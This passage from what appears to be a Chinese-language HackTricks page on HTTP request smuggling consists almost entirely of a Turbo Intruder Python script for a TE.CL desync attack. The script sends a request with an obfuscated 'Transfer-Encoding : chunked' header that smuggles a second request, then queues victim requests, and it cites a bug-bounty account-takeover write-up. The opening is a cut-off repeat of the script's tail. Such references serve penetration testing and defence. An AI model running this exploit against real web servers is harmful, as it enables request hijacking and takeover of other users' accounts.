time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

来自: https://hipotermia.pw/bb/http-desync-account-takeover

python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

工具

参考资料

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks